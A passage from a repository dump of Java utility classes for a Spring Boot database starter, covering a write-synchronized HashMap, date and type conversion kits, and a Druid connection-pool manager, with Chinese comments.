100% CPU 占用\n * \n * SyncWriteMap 拥有 HashMap 的性能，但不保障并发访问的线程安全\n * 只用于读多写少且不用保障线程安全的场景\n * \n * 例如 MethodKit 中用于缓存 MethodInfo 的 cache，被写入的数据\n * 不用保障是单例，读取之后会做 null 值判断\n * \n * ActionMapping 中的 HashMap 是系统启动时在独立线程内初始化的，\n * 不存在并发写，只存在并发读的情况，所以仍然可以使用 HashMap\n */\npublic class SyncWriteMap<K, V> extends HashMap<K, V> {\n\t\n\tprivate static final long serialVersionUID = -7287230891751869148L;\n\t\n\tpublic SyncWriteMap() {\n\t}\n\t\n\tpublic SyncWriteMap(int initialCapacity) {\n\t\tsuper(initialCapacity);\n\t}\n\t\n\tpublic SyncWriteMap(int initialCapacity, float loadFactor) {\n\t\tsuper(initialCapacity, loadFactor);\n\t}\n\t\n\tpublic SyncWriteMap(Map<? extends K, ? extends V> m) {\n\t\tsuper(m);\n\t}\n\t\n\t@Override\n\tpublic V put(K key, V value) {\n\t\tsynchronized (this) {\n\t\t\treturn super.put(key, value);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic V putIfAbsent(K key, V value) {\n\t\tsynchronized (this) {\n\t\t\treturn super.putIfAbsent(key, value);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic void putAll(Map<? extends K, ? extends V> m) {\n\t\tsynchronized (this) {\n\t\t\tsuper.putAll(m);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic V remove(Object key) {\n\t\tsynchronized (this) {\n\t\t\treturn super.remove(key);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic void clear() {\n\t\tsynchronized (this) {\n\t\t\tsuper.clear();\n\t\t}\n\t}\n\t\n\t@Override\n    public V computeIfAbsent(K key, Function<? super K, ? extends V> mappingFunction) {\n        synchronized (this) {\n            return super.computeIfAbsent(key, mappingFunction);\n        }\n    }\n    \n    @Override\n    public V computeIfPresent(K key, BiFunction<? super K, ? super V, ? extends V> remappingFunction) {\n        synchronized (this) {\n            return super.computeIfPresent(key, remappingFunction);\n        }\n    }\n    \n    @Override\n    public V compute(K key, BiFunction<? super K, ? super V, ? extends V> remappingFunction) {\n        synchronized (this) {\n            return super.compute(key, remappingFunction);\n        }\n    }\n    \n    @Override\n    public boolean replace(K key, V oldValue, V newValue) {\n        synchronized (this) {\n            return super.replace(key, oldValue, newValue);\n        }\n    }\n    \n    @Override\n    public V replace(K key, V value) {\n        synchronized (this) {\n            return super.replace(key, value);\n        }\n    }\n    \n    @Override\n    public void replaceAll(BiFunction<? super K, ? super V, ? extends V> function) {\n        synchronized (this) {\n            super.replaceAll(function);\n        }\n    }\n    \n    @Override\n    public V merge(K key, V value, BiFunction<? super V, ? super V, ? extends V> remappingFunction) {\n        synchronized (this) {\n            return super.merge(key, value, remappingFunction);\n        }\n    }\n}\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/kit/TimeKit.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.kit;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.time.Instant;\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.time.LocalTime;\nimport java.time.ZoneId;\nimport java.time.chrono.ChronoLocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * TimeKit 用于简化 JDK 8 新增的时间 API\n * \n * 新旧日期转换通过桥梁 Instant 进行，转成 LocalDate、LocalTime 需要先转成 LocalDateTime：\n *   新转旧：LocalDateTime.atZone(ZoneId).toInstant() -> Instant -> Date.from(Instant)\n *   旧转新：Date.toInstant() -> Instant -> LocalDateTime.ofInstant(Instant, ZoneId)\n * \n * 经测试，SimpleDateFormat 比 DateTimeFormatter 对 pattern 的支持更好\n * 对于同样的 pattern 值 \"yyyy-MM-dd HH:mm:ss\"，前者可以转换 \"2020-06-9 12:13:19\"\n * 后者却不支持，原因是 pattern 的 dd 位置只有数字 9，必须要是两位数字才能支持\n * \n * \n * 所以：建议优先使用转换结果为 Date 的 parse 方法，使用 SimpleDateFormat 来转换\n */\npublic class TimeKit {\n\t\n\t/**\n\t * 缓存线程安全的 DateTimeFormatter\n\t */\n\tprivate static final Map<String, DateTimeFormatter> formaters = new SyncWriteMap<>();\n\t\n\tpublic static DateTimeFormatter getDateTimeFormatter(String pattern) {\n\t\tDateTimeFormatter ret = formaters.get(pattern);\n\t\tif (ret == null) {\n\t\t\tret = DateTimeFormatter.ofPattern(pattern);\n\t\t\tformaters.put(pattern, ret);\n\t\t}\n\t\treturn ret;\n\t}\n\t\n\t/**\n\t * 结合 ThreadLocal 缓存 \"非线程安全\" 的 SimpleDateFormat\n\t */\n\tprivate static final ThreadLocal<HashMap<String, SimpleDateFormat>> TL = ThreadLocal.withInitial(() -> new HashMap<>());\n\t\n\tpublic static SimpleDateFormat getSimpleDateFormat(String pattern) {\n\t\tSimpleDateFormat ret = TL.get().get(pattern);\n\t\tif (ret == null) {\n\t\t\tret = new SimpleDateFormat(pattern);\n\t\t\tTL.get().put(pattern, ret);\n\t\t}\n\t\treturn ret;\n\t}\n\t\n\t/**\n\t * 按指定 pattern 将当前时间转换成 String\n\t * 例如：now(\"yyyy-MM-dd HH:mm:ss\")\n\t */\n\tpublic static String now(String pattern) {\n\t\treturn LocalDateTime.now().format(getDateTimeFormatter(pattern));\n\t}\n\t\n\t/**\n\t * 按 pattern \"yyyy-MM-dd HH:mm:ss\" 将当前时间转换成 String\n\t */\n\tpublic static String now() {\n\t\treturn now(\"yyyy-MM-dd HH:mm:ss\");\n\t}\n\t\n\t/**\n\t * 按 pattern \"yyyyMMddHHmmssSSS\" 将当前时间精确到毫秒转换成 String，常用于生成订单号等等单据的部分字符\n\t */\n\tpublic static String nowWithMillisecond() {\n\t\treturn now(\"yyyyMMddHHmmssSSS\");\n\t}\n\t\n\t/**\n\t * 按指定 pattern 将 LocalDateTime 转换成 String\n\t * 例如：format(LocalDateTime.now(), \"yyyy-MM-dd HH:mm:ss\")\n\t */\n\tpublic static String format(LocalDateTime localDateTime, String pattern) {\n\t\treturn localDateTime.format(getDateTimeFormatter(pattern));\n\t}\n\t\n\tpublic static String format(LocalDateTime localDateTime) {\n        return format(localDateTime, \"yyyy-MM-dd HH:mm:ss\");\n    }\n\t\n\t/**\n\t * 按指定 pattern 将 LocalDate 转换成 String\n\t */\n\tpublic static String format(LocalDate localDate, String pattern) {\n\t\treturn localDate.format(getDateTimeFormatter(pattern));\n\t}\n\t\n\t/**\n\t * 按指定 pattern 将 LocalTime 转换成 String\n\t */\n\tpublic static String format(LocalTime localTime, String pattern) {\n\t\treturn localTime.format(getDateTimeFormatter(pattern));\n\t}\n\t\n\t/**\n\t * 按指定 pattern 将 Date 转换成 String\n\t * 例如：format(new Date(), \"yyyy-MM-dd HH:mm:ss\")\n\t */\n\tpublic static String format(Date date, String pattern) {\n\t\treturn getSimpleDateFormat(pattern).format(date);\n\t}\n\t\n\tpublic static String format(Date date) {\n        return format(date, \"yyyy-MM-dd HH:mm:ss\");\n    }\n\t\n\t/**\n\t * 按指定 pattern 将 String 转换成 Date\n\t */\n\tpublic static Date parse(String dateString, String pattern) {\n\t\ttry {\n\t\t\treturn getSimpleDateFormat(pattern).parse(dateString);\n\t\t} catch (ParseException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\t/**\n\t * 按指定 pattern 将 String 转换成 LocalDateTime\n\t */\n\tpublic static LocalDateTime parseLocalDateTime(String localDateTimeString, String pattern) {\n\t\treturn LocalDateTime.parse(localDateTimeString, getDateTimeFormatter(pattern));\n\t}\n\t\n\t/**\n\t * 按指定 pattern 将 String 转换成 LocalDate\n\t */\n\tpublic static LocalDate parseLocalDate(String localDateString, String pattern) {\n\t\treturn LocalDate.parse(localDateString, getDateTimeFormatter(pattern));\n\t}\n\t\n\t/**\n\t * 按指定 pattern 将 String 转换成 LocalTime\n\t */\n\tpublic static LocalTime parseLocalTime(String localTimeString, String pattern) {\n\t\treturn LocalTime.parse(localTimeString, getDateTimeFormatter(pattern));\n\t}\n\t\n\t/**\n\t * 判断 A 的时间是否在 B 的时间 \"之后\"\n\t */\n\tpublic static boolean isAfter(ChronoLocalDateTime<?> self, ChronoLocalDateTime<?> other) {\n\t\treturn self.isAfter(other);\n\t}\n\t\n\t/**\n\t * 判断 A 的时间是否在 B 的时间 \"之前\"\n\t */\n\tpublic static boolean isBefore(ChronoLocalDateTime<?> self, ChronoLocalDateTime<?> other) {\n\t\treturn self.isBefore(other);\n\t}\n\t\n\t/**\n\t * 判断 A 的时间是否与 B 的时间 \"相同\"\n\t */\n\tpublic static boolean isEqual(ChronoLocalDateTime<?> self, ChronoLocalDateTime<?> other) {\n\t\treturn self.isEqual(other);\n\t}\n\t\n\t/**\n\t * java.util.Date --> java.time.LocalDateTime\n\t */\n\tpublic static LocalDateTime toLocalDateTime(Date date) {\n\t\t// java.sql.Date 不支持 toInstant()，需要先转换成 java.util.Date\n\t\tif (date instanceof java.sql.Date) {\n\t\t\tdate = new Date(date.getTime());\n\t\t}\n\t\t\n\t\tInstant instant = date.toInstant();\n\t\tZoneId zone = ZoneId.systemDefault();\n\t\treturn LocalDateTime.ofInstant(instant, zone);\n\t}\n\t\n\t/**\n\t * java.util.Date --> java.time.LocalDate\n\t */\n\tpublic static LocalDate toLocalDate(Date date) {\n\t\t// java.sql.Date 不支持 toInstant()，需要先转换成 java.util.Date\n\t\tif (date instanceof java.sql.Date) {\n\t\t\tdate = new Date(date.getTime());\n\t\t}\n\t\t\n\t\tInstant instant = date.toInstant();\n\t\tZoneId zone = ZoneId.systemDefault();\n\t\tLocalDateTime localDateTime = LocalDateTime.ofInstant(instant, zone);\n\t\treturn localDateTime.toLocalDate();\n\t}\n\t\n\t/**\n\t * java.util.Date --> java.time.LocalTime\n\t */\n\tpublic static LocalTime toLocalTime(Date date) {\n\t\t// java.sql.Date 不支持 toInstant()，需要先转换成 java.util.Date\n\t\tif (date instanceof java.sql.Date) {\n\t\t\tdate = new Date(date.getTime());\n\t\t}\n\t\t\n\t\tInstant instant = date.toInstant();\n\t\tZoneId zone = ZoneId.systemDefault();\n\t\tLocalDateTime localDateTime = LocalDateTime.ofInstant(instant, zone);\n\t\treturn localDateTime.toLocalTime();\n\t}\n\t\n\t/**\n\t * java.time.LocalDateTime --> java.util.Date\n\t */\n\tpublic static Date toDate(LocalDateTime localDateTime) {\n\t\tZoneId zone = ZoneId.systemDefault();\n\t\tInstant instant = localDateTime.atZone(zone).toInstant();\n\t\treturn Date.from(instant);\n\t}\n\t\n\t/**\n\t * java.time.LocalDate --> java.util.Date\n\t */\n\tpublic static Date toDate(LocalDate localDate) {\n\t\tZoneId zone = ZoneId.systemDefault();\n\t\tInstant instant = localDate.atStartOfDay().atZone(zone).toInstant();\n\t\treturn Date.from(instant);\n\t}\n\t\n\t/**\n\t * java.time.LocalTime --> java.util.Date\n\t */\n\tpublic static Date toDate(LocalTime localTime) {\n\t\tLocalDate localDate = LocalDate.now();\n\t\tLocalDateTime localDateTime = LocalDateTime.of(localDate, localTime);\n\t\tZoneId zone = ZoneId.systemDefault();\n\t\tInstant instant = localDateTime.atZone(zone).toInstant();\n\t\treturn Date.from(instant);\n\t}\n\t\n\t/**\n\t * java.time.LocalTime --> java.util.Date\n\t */\n\tpublic static Date toDate(LocalDate localDate, LocalTime localTime) {\n\t\tLocalDateTime localDateTime = LocalDateTime.of(localDate, localTime);\n\t\tZoneId zone = ZoneId.systemDefault();\n\t\tInstant instant = localDateTime.atZone(zone).toInstant();\n\t\treturn Date.from(instant);\n\t}\n}\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/kit/TypeKit.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.kit;\n\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.time.LocalTime;\nimport java.time.temporal.Temporal;\n\n/**\n * TypeKit\n */\npublic class TypeKit {\n\n\tprivate static final String datePattern = \"yyyy-MM-dd\";\n\tprivate static final int dateLen = datePattern.length();\n\n\tprivate static final String dateTimeWithoutSecondPattern = \"yyyy-MM-dd HH:mm\";\n\tprivate static final int dateTimeWithoutSecondLen = dateTimeWithoutSecondPattern.length();\n\n\tprivate static final String dateTimePattern = \"yyyy-MM-dd HH:mm:ss\";\n\n\tpublic static String toStr(Object s) {\n\t\treturn s != null ? s.toString() : null;\n\t}\n\n\tpublic static Integer toInt(Object n) {\n\t\tif (n instanceof Integer) {\n\t\t\treturn (Integer)n;\n\t\t} else if (n instanceof Number) {\n\t\t\treturn ((Number)n).intValue();\n\t\t}\n\t\t// 支持 String 类型转换\n\t\treturn n != null ? Integer.parseInt(n.toString()) : null;\n\t}\n\n\tpublic static Long toLong(Object n) {\n\t\tif (n instanceof Long) {\n\t\t\treturn (Long)n;\n\t\t} else if (n instanceof Number) {\n\t\t\treturn ((Number)n).longValue();\n\t\t}\n\t\t// 支持 String 类型转换\n\t\treturn n != null ? Long.parseLong(n.toString()) : null;\n\t}\n\n\tpublic static Double toDouble(Object n) {\n\t\tif (n instanceof Double) {\n\t\t\treturn (Double)n;\n\t\t} else if (n instanceof Number) {\n\t\t\treturn ((Number)n).doubleValue();\n\t\t}\n\t\t// 支持 String 类型转换\n\t\treturn n != null ? Double.parseDouble(n.toString()) : null;\n\t}\n\n\tpublic static BigDecimal toBigDecimal(Object n) {\n\t\tif (n instanceof BigDecimal) {\n\t\t\treturn (BigDecimal)n;\n\t\t} else if (n != null) {\n\t\t\treturn new BigDecimal(n.toString());\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tpublic static Float toFloat(Object n) {\n\t\tif (n instanceof Float) {\n\t\t\treturn (Float)n;\n\t\t} else if (n instanceof Number) {\n\t\t\treturn ((Number)n).floatValue();\n\t\t}\n\t\t// 支持 String 类型转换\n\t\treturn n != null ? Float.parseFloat(n.toString()) : null;\n\t}\n\n\tpublic static Short toShort(Object n) {\n\t\tif (n instanceof Short) {\n\t\t\treturn (Short)n;\n\t\t} else if (n instanceof Number) {\n\t\t\treturn ((Number)n).shortValue();\n\t\t}\n\t\t// 支持 String 类型转换\n\t\treturn n != null ? Short.parseShort(n.toString()) : null;\n\t}\n\n\tpublic static Byte toByte(Object n) {\n\t\tif (n instanceof Byte) {\n\t\t\treturn (Byte)n;\n\t\t} else if (n instanceof Number) {\n\t\t\treturn ((Number)n).byteValue();\n\t\t}\n\t\t// 支持 String 类型转换\n\t\treturn n != null ? Byte.parseByte(n.toString()) : null;\n\t}\n\n\tpublic static Boolean toBoolean(Object b) {\n\t\tif (b instanceof Boolean) {\n\t\t\treturn (Boolean)b;\n\t\t} else if (b == null) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// 支持 Number 之下的整数类型\n\t\tif (b instanceof Number) {\n\t\t\tif (b instanceof Integer || b instanceof Long || b instanceof BigInteger || b instanceof Byte || b instanceof Short) {\n\t\t\t\tint n = ((Number)b).intValue();\n\t\t\t\tif (n == 1) {\n\t\t\t\t\treturn Boolean.TRUE;\n\t\t\t\t} else if (n == 0) {\n\t\t\t\t\treturn Boolean.FALSE;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Number 之下的其它类型需要抛出异常提示调用方，例如 Double、Float、BigDecimal\n\t\t\treturn (Boolean)b;\n\t\t}\n\n\t\t// 支持 String\n\t\tif (b instanceof String) {\n\t\t\tString s = b.toString();\n\t\t\tif (\"true\".equalsIgnoreCase(s) || \"1\".equals(s)) {\n\t\t\t\treturn Boolean.TRUE;\n\t\t\t} else if (\"false\".equalsIgnoreCase(s) || \"0\".equals(s)) {\n\t\t\t\treturn Boolean.FALSE;\n\t\t\t}\n\t\t}\n\n\t\treturn (Boolean)b;\n\t}\n\n\tpublic static Number toNumber(Object n) {\n\t\tif (n instanceof Number) {\n\t\t\treturn (Number)n;\n\t\t} else if (n == null) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// 支持 String 类型转换\n\t\tString s = n.toString();\n\t\treturn s.indexOf('.') != -1 ? Double.parseDouble(s) : Long.parseLong(s);\n\t}\n\n\tpublic static java.util.Date toDate(Object d) {\n\t\tif (d instanceof java.util.Date) {\n\t\t\treturn (java.util.Date)d;\n\t\t}\n\n\t\tif (d instanceof Temporal) {\n\t\t\tif (d instanceof LocalDateTime) {\n\t\t\t\treturn TimeKit.toDate((LocalDateTime)d);\n\t\t\t}\n\t\t\tif (d instanceof LocalDate) {\n\t\t\t\treturn TimeKit.toDate((LocalDate)d);\n\t\t\t}\n\t\t\tif (d instanceof LocalTime) {\n\t\t\t\treturn TimeKit.toDate((LocalTime)d);\n\t\t\t}\n\t\t}\n\n\t\tif (d instanceof String) {\n\t\t\tString s = (String)d;\n\t\t\tif (s.length() <= dateLen) {\n\t\t\t\treturn TimeKit.parse(s, datePattern);\n\t\t\t} else if (s.length() > dateTimeWithoutSecondLen) {\n\t\t\t\treturn TimeKit.parse(s, dateTimePattern);\n\t\t\t} else {\n\t\t\t\t// 判断冒号字符是否出现两次，月、日、小时、分、秒都允许是一位数，例如：2022-1-2 3:4:5\n\t\t\t\tint index = s.indexOf(':');\n\t\t\t\tif (index != -1) {\n\t\t\t\t\tif (index != s.lastIndexOf(':')) {\n\t\t\t\t\t\treturn TimeKit.parse(s, dateTimePattern);\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn TimeKit.parse(s, dateTimeWithoutSecondPattern);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn (java.util.Date)d;\n\t}\n\n\tpublic static LocalDateTime toLocalDateTime(Object ldt) {\n\t\tif (ldt instanceof LocalDateTime) {\n\t\t\treturn (LocalDateTime)ldt;\n\t\t}\n\n\t\tif (ldt instanceof java.util.Date) {\n\t\t\treturn TimeKit.toLocalDateTime((java.util.Date)ldt);\n\t\t}\n\t\tif (ldt instanceof LocalDate) {\n\t\t\treturn ((LocalDate)ldt).atStartOfDay();\n\t\t}\n\t\tif (ldt instanceof LocalTime) {\n\t\t\treturn LocalDateTime.of(LocalDate.now(), (LocalTime)ldt);\n\t\t}\n\n\t\tif (ldt instanceof String) {\n\t\t\tString s = (String)ldt;\n\t\t\tif (s.length() <= dateLen) {\n\t\t\t\treturn TimeKit.parseLocalDateTime(s, datePattern);\n\t\t\t} else if (s.length() > dateTimeWithoutSecondLen) {\n\t\t\t\treturn TimeKit.parseLocalDateTime(s, dateTimePattern);\n\t\t\t} else {\n\t\t\t\t// 判断冒号字符是否出现两次，月、日、小时、分、秒都允许是一位数，例如：2022-1-2 3:4:5\n\t\t\t\tint index = s.indexOf(':');\n\t\t\t\tif (index != -1) {\n\t\t\t\t\tif (index != s.lastIndexOf(':')) {\n\t\t\t\t\t\treturn TimeKit.parseLocalDateTime(s, dateTimePattern);\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn TimeKit.parseLocalDateTime(s, dateTimeWithoutSecondPattern);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn (LocalDateTime)ldt;\n\t}\n}\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/utils/ActiveRecordUtil.java",
    "content": "//package io.github.wujun728.db.utils;\n//\n//import cn.hutool.core.util.StrUtil;\n//import com.jfinal.plugin.activerecord.ActiveRecordPlugin;\n//import com.jfinal.plugin.activerecord.DbKit;\n//import com.jfinal.plugin.druid.DruidPlugin;\n//\n//import javax.sql.DataSource;\n//import java.util.Map;\n//import java.util.concurrent.ConcurrentHashMap;\n//\n//public class ActiveRecordUtil {\n//\n//\tstatic volatile Map<String,ActiveRecordPlugin> activeRecordPluginMap = new ConcurrentHashMap<>();\n//\n//\tpublic static ActiveRecordPlugin init(String configName,String jdbcUrl,String user,String password) {\n//\t\treturn initActiveRecordPlugin(configName, jdbcUrl, user, password);\n//\t}\n//\tpublic static ActiveRecordPlugin initActiveRecordPlugin(String configName,String jdbcUrl,String user,String password) {\n//\t\tconfigName = StrUtil.isEmpty(configName)?DbKit.MAIN_CONFIG_NAME:configName;\n//\t\tif(DbKit.getConfig(configName) == null){\n//\t\t\tDruidPlugin druidPlugin = new DruidPlugin(jdbcUrl, user, password);\n//\t\t\tActiveRecordPlugin arp = new ActiveRecordPlugin(configName,druidPlugin);\n//\t\t\tarp.setDevMode(true);\n//\t\t\tarp.setShowSql(true);\n//\t\t\t// 添加 sql 模板文件，实际开发时将 sql 文件放在 src/main/resources 下\n//\t\t\t//arp.addSqlTemplate(\"com/jfinal/plugin/activerecord/test.sql\");\n//\t\t\t// 所有映射在生成的 _MappingKit.java 中自动化搞定\n//\t\t\t//_MappingKit.mapping(arp);\n//\t\t\t// 先启动 druidPlugin，后启动 arp\n//\t\t\tdruidPlugin.start();\n//\t\t\tarp.start();\n//\t\t\tactiveRecordPluginMap.put(configName,arp);\n//\t\t\treturn arp;\n//\t\t}else{\n//\t\t\treturn activeRecordPluginMap.get(configName);\n//\t\t}\n//\t}\n//\tpublic static ActiveRecordPlugin init(DataSource ds) {\n//\t\treturn initActiveRecordPlugin(\"main\", ds);\n//\t}\n//\tpublic static ActiveRecordPlugin init(String configName,DataSource ds) {\n//\t\treturn initActiveRecordPlugin(configName, ds);\n//\t}\n//\tpublic static ActiveRecordPlugin initActiveRecordPlugin(String configName,DataSource ds) {\n//\t\tconfigName = StrUtil.isEmpty(configName)?DbKit.MAIN_CONFIG_NAME:configName;\n//\t\tif(DbKit.getConfig(configName) == null){\n//\t\t\tActiveRecordPlugin arp = new ActiveRecordPlugin(configName, ds);\n//\t\t\tarp.setDevMode(true);\n//\t\t\tarp.setShowSql(true);\n//\t\t\t// 添加 sql 模板文件，实际开发时将 sql 文件放在 src/main/resources 下\n//\t\t\t//arp.addSqlTemplate(\"com/jfinal/plugin/activerecord/test.sql\");\n//\t\t\t// 所有映射在生成的 _MappingKit.java 中自动化搞定\n//\t\t\t//_MappingKit.mapping(arp);\n//\t\t\t// 先启动 druidPlugin，后启动 arp\n//\t\t\tarp.start();\n//\t\t\tactiveRecordPluginMap.put(configName,arp);\n//\t\t\treturn arp;\n//\t\t}else{\n//\t\t\treturn activeRecordPluginMap.get(configName);\n//\t\t}\n//\t}\n//\n//}\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/utils/DataSourcePool.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport com.alibaba.druid.pool.DruidDataSource;\n//import io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Db;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport javax.sql.DataSource;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n@Slf4j\n@Component\npublic class DataSourcePool {\n\n    public static final String main = \"main\";\n    private static Lock lock = new ReentrantLock();\n    private static Lock deleteLock = new ReentrantLock();\n\n    public static final String mysqlDriver5 = \"com.mysql.jdbc.Driver\";\n    public static final String mysqlDriver6 = \"com.mysql.cj.jdbc.Driver\";\n    public static final String postgresqlDriver6 = \"org.postgresql.Driver\";\n    public static final String oracleDriver6 = \"oracle.jdbc.driver.OracleDriver\";\n    public static final String sqlserverDriver6 = \"com.microsoft.sqlserver.jdbc.SQLServerDriver\";\n\n    //所有数据源的连接池存在map里\n    public volatile static ConcurrentHashMap<String, DataSource> dataSourceMap = new ConcurrentHashMap<>();\n\n    public static DataSource init(String dsname,String url,String username,String password) {\n        String driverName = mysqlDriver5;\n        driverName = identifyDatabaseTypeFromJdbcUrl(url);\n        return init(dsname,url,username,password,driverName);\n    }\n    public static String identifyDatabaseTypeFromJdbcUrl(String jdbcUrl) {\n        if (jdbcUrl.startsWith(\"jdbc:mysql:\")) {\n            return mysqlDriver5;//            return \"MySQL\";\n        } else if (jdbcUrl.startsWith(\"jdbc:postgresql:\")) {\n            return postgresqlDriver6;//            return \"PostgreSQL\";\n        } else if (jdbcUrl.startsWith(\"jdbc:oracle:\")) {\n            return oracleDriver6;//            return \"Oracle\";\n        } else if (jdbcUrl.startsWith(\"jdbc:sqlserver:\")) {\n            return sqlserverDriver6;//            return \"SQL Server\";\n        } else {\n            return \"Unknown\";\n        }\n    }\n    public static DataSource init(String dsname,String url,String username,String password,String driver) {\n        if (dataSourceMap.containsKey(dsname)) {\n            return dataSourceMap.get(dsname);\n        } else {\n            lock.lock();\n            try {\n                //log.info(Thread.currentThread().getName() + \"获取锁\");\n                if (!dataSourceMap.containsKey(dsname)) {\n                    DruidDataSource druidDataSource = new DruidDataSource();\n                    druidDataSource.setName(dsname);\n                    druidDataSource.setUrl(url);\n                    druidDataSource.setUsername(username);\n                    druidDataSource.setPassword(password);\n                    druidDataSource.setDriverClassName(driver);\n                    druidDataSource.setConnectionErrorRetryAttempts(3);       //失败后重连次数\n                    druidDataSource.setBreakAfterAcquireFailure(true);\n                    dataSourceMap.put(dsname, druidDataSource);\n                    log.info(\"创建Druid连接池成功：{}\", dsname);\n\n                }\n                return dataSourceMap.get(dsname);\n            } catch (Exception e) {\n                return null;\n            } finally {\n                lock.unlock();\n            }\n        }\n    }\n    public static void init(String dsname,DataSource dataSource) {\n        add(dsname,dataSource);\n        if(main.equalsIgnoreCase(dsname)){\n            //Db.init(dsname,dataSource);\n        }\n    }\n    private static void add(String dsname, DataSource dataSource) {\n        lock.lock();\n        try {\n            log.info(Thread.currentThread().getName() + \"获取锁\");\n            dataSourceMap.put(dsname, dataSource);\n            if(main.equalsIgnoreCase(dsname)){\n                //Db.init(dsname,dataSource);\n            }\n            log.info(\"添加连接池成功：{}\", dsname);\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            lock.unlock();\n        }\n    }\n    public static DataSource get(String dsname) {\n        if(StrUtil.isEmpty(dsname)){\n            return null;\n        }\n        if (dataSourceMap.containsKey(dsname)) {\n            return dataSourceMap.get(dsname);\n        } else {\n            return null;\n        }\n    }\n\n    //删除数据库连接池\n    public static void remove(String dsname) {\n        deleteLock.lock();\n        try {\n            DataSource druidDataSource = dataSourceMap.get(dsname);\n            if (druidDataSource != null) {\n                //druidDataSource.close();\n                if(druidDataSource instanceof  DruidDataSource){\n                    ((DruidDataSource)druidDataSource).close();\n                }\n                dataSourceMap.remove(dsname);\n            }\n        } catch (Exception e) {\n            log.error(e.toString());\n        } finally {\n            deleteLock.unlock();\n        }\n    }\n\n    public static Connection getConnection(String dsname) throws SQLException {\n        return DataSourcePool.get(dsname).getConnection();\n    }\n\n\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/utils/FieldUtils.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\npublic class FieldUtils {\n\n\n    public static final char UNDERLINE = '_';\n\n    public static String toUnderlineCase(String param) {\n        return getUnderlineName(param);\n    }\n    public static String getUnderlineName(String param) {\n        return toSymbolCase(param, UNDERLINE);\n    }\n    public static String toSymbolCase(CharSequence str, char symbol) {\n        if (str == null) {\n            return null;\n        } else {\n            int length = str.length();\n            StringBuilder sb = new StringBuilder();\n            for(int i = 0; i < length; ++i) {\n                char c = str.charAt(i);\n                if (Character.isUpperCase(c)) {\n                    Character preChar = i > 0 ? str.charAt(i - 1) : null;\n                    Character nextChar = i < str.length() - 1 ? str.charAt(i + 1) : null;\n                    if (null != preChar) {\n                        if (symbol == preChar) {\n                            if (null == nextChar || Character.isLowerCase(nextChar)) {\n                                c = Character.toLowerCase(c);\n                            }\n                        } else if (Character.isLowerCase(preChar)) {\n                            sb.append(symbol);\n                            if (null == nextChar || Character.isLowerCase(nextChar) || isNumber(nextChar)) {\n                                c = Character.toLowerCase(c);\n                            }\n                        } else if (null != nextChar && Character.isLowerCase(nextChar)) {\n                            sb.append(symbol);\n                            c = Character.toLowerCase(c);\n                        }\n                    } else if (null == nextChar || Character.isLowerCase(nextChar)) {\n                        c = Character.toLowerCase(c);\n                    }\n                }\n\n                sb.append(c);\n            }\n            return 